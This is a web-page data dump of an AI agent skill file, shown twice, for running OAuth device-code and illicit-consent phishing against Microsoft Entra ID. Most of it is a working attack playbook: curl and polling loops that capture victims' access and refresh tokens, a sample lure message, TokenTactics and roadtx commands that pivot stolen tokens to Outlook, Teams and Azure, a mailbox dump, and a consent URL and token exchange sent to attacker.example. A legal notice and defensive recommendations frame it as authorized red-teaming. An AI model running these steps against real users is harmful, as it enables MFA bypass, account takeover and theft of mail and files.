[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADVP3QY0E68X1MBH02EAPZ":3,"skill-same:01M6ADVP3QY0E68X1MBH02EAPZ":131},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":48,"linkOnly":49,"markdownContent":50,"markdownBody":51,"frontMatter":52,"refName":62,"commitSha":63,"skillDirectory":64,"forksCount":65,"repositoryHtmlUrl":66,"repositoryHomepageUrl":67,"ownerHtmlUrl":68,"ownerBlogUrl":69,"ownerDescription":70,"updatedAt":71,"install":72,"resources":85},"01M6ADVP3QY0E68X1MBH02EAPZ","attacking-oauth-with-device-code-phishing",null,"Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant you have explicit written permission to test.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47],"attacking oauth with device code phishing","code","OAuth","phishing","red-team","tokentactics","illicit-consent","mfa-bypass","token-theft","device-code-phishing","entra-id","cybersecurity","services","run","pr","entra id","identity","microsoft","test","2026-11-10 10:12:30",false,"---\nname: attacking-oauth-with-device-code-phishing\ndescription: Run OAuth 2.0 device-code and illicit-consent phishing attacks against\n  Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh\n  tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized\n  red-team engagements simulating device-code or consent-grant phishing against a\n  tenant you have explicit written permission to test.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- device-code-phishing\n- oauth\n- entra-id\n- token-theft\n- mfa-bypass\n- illicit-consent\n- tokentactics\n- red-team\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-03\nmitre_attack:\n- T1528\n---\n# Attacking OAuth with Device-Code Phishing\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.\n\n## Overview\n\nThe OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the \"device\" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 – Steal Application Access Token**).\n\nMicrosoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** (\"OAuth phishing\"): the attacker registers a multi-tenant app and tricks the victim into clicking an `\u002Fadminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation\u002Faccess mapping with ROADtools.\n\nThe defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.\n\n## When to Use\n\n- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 \u002F Entra ID where social-engineering is in scope\n- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques\n- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent\n- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls\n- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry\n\n## Prerequisites\n\n- Written authorization \u002F rules of engagement explicitly permitting phishing and token theft against the target tenant\n- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)\n- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+\n- TokenTactics (PowerShell) and ROADtools (Python) installed:\n  ```bash\n  # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema \u002F Outsider Security\n  pip install roadtools roadtools_auth\n  # roadtx (ROADtools Token eXchange) ships in roadtools_auth\n  roadtx --help\n\n  # TokenTactics v2 (rvrsh3ll)\n  git clone https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics.git\n  pwsh -c \"Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\"\n  ```\n- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes\n\n## Objectives\n\n- Initiate an OAuth device-code request against Entra ID using a first-party client ID\n- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page\n- Poll the token endpoint and capture the victim's access and refresh tokens\n- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access\n- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app\n- Enumerate accessible resources and data with ROADtools to demonstrate impact\n- Document MFA bypass and produce remediation recommendations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1528 | Steal Application Access Token | Phishing the device-code flow \u002F consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |\n\nRelated techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).\n\n## Workflow\n\n### Phase 1: Initiate the Device-Code Request\n\nThe attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.\n\n1. Request a device code directly via the token endpoint:\n   ```bash\n   # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token\n   curl -s -X POST \\\n     'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Fdevicecode' \\\n     -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n     -d 'scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access' | tee devicecode.json\n   ```\n2. The JSON response contains the fields you weaponize:\n   ```json\n   {\n     \"user_code\": \"B7HVQXKZ2\",\n     \"device_code\": \"GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...\",\n     \"verification_uri\": \"https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\",\n     \"expires_in\": 900,\n     \"interval\": 5,\n     \"message\": \"To sign in, use a web browser to open the page https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin and enter the code B7HVQXKZ2 to authenticate.\"\n   }\n   ```\n3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.\n\n   Equivalent using TokenTactics (handles polling automatically):\n   ```powershell\n   Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\n   # Generates a device code and begins polling; prints the user_code to phish\n   Get-AzureToken -Client MSGraph\n   ```\n\n### Phase 2: Deliver the Pretext\n\nThe phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.\n\n1. Craft a pretext that references the genuine `https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin` URL and the `user_code` (e.g., \"IT is enrolling your account in the new Teams Rooms device; open microsoft.com\u002Fdevicelogin and enter code B7HVQXKZ2 within 15 minutes\").\n2. Send through sanctioned phishing infrastructure. Hyperlinked codes\u002FURLs frequently land in spam, so present the URL and code as plain text.\n3. Time delivery to the start of a polling cycle so the code is fresh.\n\n### Phase 3: Poll and Capture Tokens\n\nWhile the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.\n\n1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:\n   ```bash\n   DEVICE_CODE=$(python -c \"import json;print(json.load(open('devicecode.json'))['device_code'])\")\n   while true; do\n     RESP=$(curl -s -X POST \\\n       'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n       -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \\\n       -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n       -d \"device_code=${DEVICE_CODE}\")\n     echo \"$RESP\" | grep -q access_token && { echo \"$RESP\" > tokens.json; break; }\n     echo \"$RESP\" | grep -q authorization_pending || echo \"$RESP\"\n     sleep 5\n   done\n   ```\n2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.\n3. Decode the access token to confirm the captured identity, audience, and scopes:\n   ```bash\n   python -c \"import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))\"\n   ```\n\n### Phase 4: Refresh Across Microsoft 365 Resources\n\nThe refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.\n\n1. Use TokenTactics refresh functions to pivot the refresh token to specific services:\n   ```powershell\n   # $response holds the device-code result from Get-AzureToken\n   $rt = $response.refresh_token\n   Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access\n   Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph\n   Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams\n   Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM\n   Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt\n   ```\n2. Equivalently with roadtx, redeem the refresh token for a new resource:\n   ```bash\n   roadtx refreshtokento \\\n     -r \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c \\\n     -s https:\u002F\u002Fgraph.microsoft.com\u002F.default\n   ```\n3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):\n   ```powershell\n   Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox\n   ```\n\n### Phase 5: Illicit Consent Grant Variant\n\nInstead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.\n\n1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.\n2. Build a user-consent URL and phish it:\n   ```text\n   https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?\n     client_id=\u003CATTACKER_APP_ID>\n     &response_type=code\n     &redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback\n     &response_mode=query\n     &scope=offline_access%20Mail.Read%20Files.ReadWrite.All\n     &state=12345\n   ```\n3. When the victim consents, exchange the returned `code` for tokens:\n   ```bash\n   curl -s -X POST 'https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n     -d 'client_id=\u003CATTACKER_APP_ID>' \\\n     -d 'grant_type=authorization_code' \\\n     -d 'code=\u003CAUTH_CODE>' \\\n     -d 'redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback' \\\n     -d 'client_secret=\u003CAPP_SECRET>' \\\n     -d 'scope=offline_access Mail.Read Files.ReadWrite.All'\n   ```\n4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).\n\n### Phase 6: Enumerate Impact with ROADtools\n\n1. Authenticate roadrecon with the captured token \u002F refresh token and dump the directory:\n   ```bash\n   roadrecon auth --refresh-token \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c\n   roadrecon gather\n   roadrecon gui   # browse users, groups, app registrations, role assignments\n   ```\n2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.\n3. Record exactly what data and roles the stolen tokens reached for the engagement report.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics |\n| ROADtools (roadrecon \u002F roadtx) | Token exchange, directory enumeration, access mapping | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| AADInternals | Entra ID attack\u002Frecon PowerShell toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8628 |\n| Microsoft \u002F Storm-2372 advisory | Device-code phishing campaign analysis | https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F |\n| Mandiant M-Trends | OAuth token theft trend reporting | https:\u002F\u002Fcloud.google.com\u002Fsecurity\u002Fresources\u002Fm-trends |\n\n## Defensive Recommendations\n\n| Control | Effect |\n|---------|--------|\n| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |\n| Phishing-resistant MFA (FIDO2 \u002F passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |\n| Restrict user consent to verified publishers \u002F require admin consent | Blocks illicit-consent grants |\n| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |\n| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |\n\n## Validation Criteria\n\n- [ ] Device-code request returned a valid `user_code` and `device_code`\n- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)\n- [ ] Token endpoint polled and `access_token` + `refresh_token` captured\n- [ ] Access token decoded to confirm captured identity, audience, and scopes\n- [ ] Refresh token successfully exchanged for at least one additional M365 resource\n- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)\n- [ ] Illicit-consent variant tested or documented as out of scope\n- [ ] Accessible resources enumerated with ROADtools and recorded\n- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered\n","# Attacking OAuth with Device-Code Phishing\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.\n\n## Overview\n\nThe OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the \"device\" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 – Steal Application Access Token**).\n\nMicrosoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** (\"OAuth phishing\"): the attacker registers a multi-tenant app and tricks the victim into clicking an `\u002Fadminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation\u002Faccess mapping with ROADtools.\n\nThe defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.\n\n## When to Use\n\n- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 \u002F Entra ID where social-engineering is in scope\n- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques\n- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent\n- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls\n- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry\n\n## Prerequisites\n\n- Written authorization \u002F rules of engagement explicitly permitting phishing and token theft against the target tenant\n- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)\n- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+\n- TokenTactics (PowerShell) and ROADtools (Python) installed:\n  ```bash\n  # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema \u002F Outsider Security\n  pip install roadtools roadtools_auth\n  # roadtx (ROADtools Token eXchange) ships in roadtools_auth\n  roadtx --help\n\n  # TokenTactics v2 (rvrsh3ll)\n  git clone https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics.git\n  pwsh -c \"Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\"\n  ```\n- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes\n\n## Objectives\n\n- Initiate an OAuth device-code request against Entra ID using a first-party client ID\n- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page\n- Poll the token endpoint and capture the victim's access and refresh tokens\n- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access\n- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app\n- Enumerate accessible resources and data with ROADtools to demonstrate impact\n- Document MFA bypass and produce remediation recommendations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1528 | Steal Application Access Token | Phishing the device-code flow \u002F consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |\n\nRelated techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).\n\n## Workflow\n\n### Phase 1: Initiate the Device-Code Request\n\nThe attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.\n\n1. Request a device code directly via the token endpoint:\n   ```bash\n   # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token\n   curl -s -X POST \\\n     'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Fdevicecode' \\\n     -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n     -d 'scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access' | tee devicecode.json\n   ```\n2. The JSON response contains the fields you weaponize:\n   ```json\n   {\n     \"user_code\": \"B7HVQXKZ2\",\n     \"device_code\": \"GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...\",\n     \"verification_uri\": \"https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\",\n     \"expires_in\": 900,\n     \"interval\": 5,\n     \"message\": \"To sign in, use a web browser to open the page https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin and enter the code B7HVQXKZ2 to authenticate.\"\n   }\n   ```\n3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.\n\n   Equivalent using TokenTactics (handles polling automatically):\n   ```powershell\n   Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\n   # Generates a device code and begins polling; prints the user_code to phish\n   Get-AzureToken -Client MSGraph\n   ```\n\n### Phase 2: Deliver the Pretext\n\nThe phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.\n\n1. Craft a pretext that references the genuine `https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin` URL and the `user_code` (e.g., \"IT is enrolling your account in the new Teams Rooms device; open microsoft.com\u002Fdevicelogin and enter code B7HVQXKZ2 within 15 minutes\").\n2. Send through sanctioned phishing infrastructure. Hyperlinked codes\u002FURLs frequently land in spam, so present the URL and code as plain text.\n3. Time delivery to the start of a polling cycle so the code is fresh.\n\n### Phase 3: Poll and Capture Tokens\n\nWhile the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.\n\n1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:\n   ```bash\n   DEVICE_CODE=$(python -c \"import json;print(json.load(open('devicecode.json'))['device_code'])\")\n   while true; do\n     RESP=$(curl -s -X POST \\\n       'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n       -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \\\n       -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n       -d \"device_code=${DEVICE_CODE}\")\n     echo \"$RESP\" | grep -q access_token && { echo \"$RESP\" > tokens.json; break; }\n     echo \"$RESP\" | grep -q authorization_pending || echo \"$RESP\"\n     sleep 5\n   done\n   ```\n2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.\n3. Decode the access token to confirm the captured identity, audience, and scopes:\n   ```bash\n   python -c \"import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))\"\n   ```\n\n### Phase 4: Refresh Across Microsoft 365 Resources\n\nThe refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.\n\n1. Use TokenTactics refresh functions to pivot the refresh token to specific services:\n   ```powershell\n   # $response holds the device-code result from Get-AzureToken\n   $rt = $response.refresh_token\n   Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access\n   Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph\n   Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams\n   Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM\n   Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt\n   ```\n2. Equivalently with roadtx, redeem the refresh token for a new resource:\n   ```bash\n   roadtx refreshtokento \\\n     -r \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c \\\n     -s https:\u002F\u002Fgraph.microsoft.com\u002F.default\n   ```\n3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):\n   ```powershell\n   Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox\n   ```\n\n### Phase 5: Illicit Consent Grant Variant\n\nInstead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.\n\n1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.\n2. Build a user-consent URL and phish it:\n   ```text\n   https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?\n     client_id=\u003CATTACKER_APP_ID>\n     &response_type=code\n     &redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback\n     &response_mode=query\n     &scope=offline_access%20Mail.Read%20Files.ReadWrite.All\n     &state=12345\n   ```\n3. When the victim consents, exchange the returned `code` for tokens:\n   ```bash\n   curl -s -X POST 'https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n     -d 'client_id=\u003CATTACKER_APP_ID>' \\\n     -d 'grant_type=authorization_code' \\\n     -d 'code=\u003CAUTH_CODE>' \\\n     -d 'redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback' \\\n     -d 'client_secret=\u003CAPP_SECRET>' \\\n     -d 'scope=offline_access Mail.Read Files.ReadWrite.All'\n   ```\n4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).\n\n### Phase 6: Enumerate Impact with ROADtools\n\n1. Authenticate roadrecon with the captured token \u002F refresh token and dump the directory:\n   ```bash\n   roadrecon auth --refresh-token \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c\n   roadrecon gather\n   roadrecon gui   # browse users, groups, app registrations, role assignments\n   ```\n2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.\n3. Record exactly what data and roles the stolen tokens reached for the engagement report.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics |\n| ROADtools (roadrecon \u002F roadtx) | Token exchange, directory enumeration, access mapping | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| AADInternals | Entra ID attack\u002Frecon PowerShell toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8628 |\n| Microsoft \u002F Storm-2372 advisory | Device-code phishing campaign analysis | https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F |\n| Mandiant M-Trends | OAuth token theft trend reporting | https:\u002F\u002Fcloud.google.com\u002Fsecurity\u002Fresources\u002Fm-trends |\n\n## Defensive Recommendations\n\n| Control | Effect |\n|---------|--------|\n| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |\n| Phishing-resistant MFA (FIDO2 \u002F passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |\n| Restrict user consent to verified publishers \u002F require admin consent | Blocks illicit-consent grants |\n| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |\n| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |\n\n## Validation Criteria\n\n- [ ] Device-code request returned a valid `user_code` and `device_code`\n- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)\n- [ ] Token endpoint polled and `access_token` + `refresh_token` captured\n- [ ] Access token decoded to confirm captured identity, audience, and scopes\n- [ ] Refresh token successfully exchanged for at least one additional M365 resource\n- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)\n- [ ] Illicit-consent variant tested or documented as out of scope\n- [ ] Accessible resources enumerated with ROADtools and recorded\n- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered\n",{"name":5,"tags":53,"author":55,"domain":40,"license":15,"version":56,"nist_csf":57,"subdomain":59,"description":7,"mitre_attack":60},[38,54,39,37,36,35,34,33],"oauth","mahipal","1.0",[58],"PR.AA-03","identity-access-management",[61],"T1528","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fattacking-oauth-with-device-code-phishing",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":73,"prompt":83,"zipAvailable":84},[74,77,80],{"tool":75,"command":76},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill attacking-oauth-with-device-code-phishing",{"tool":78,"command":79},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills 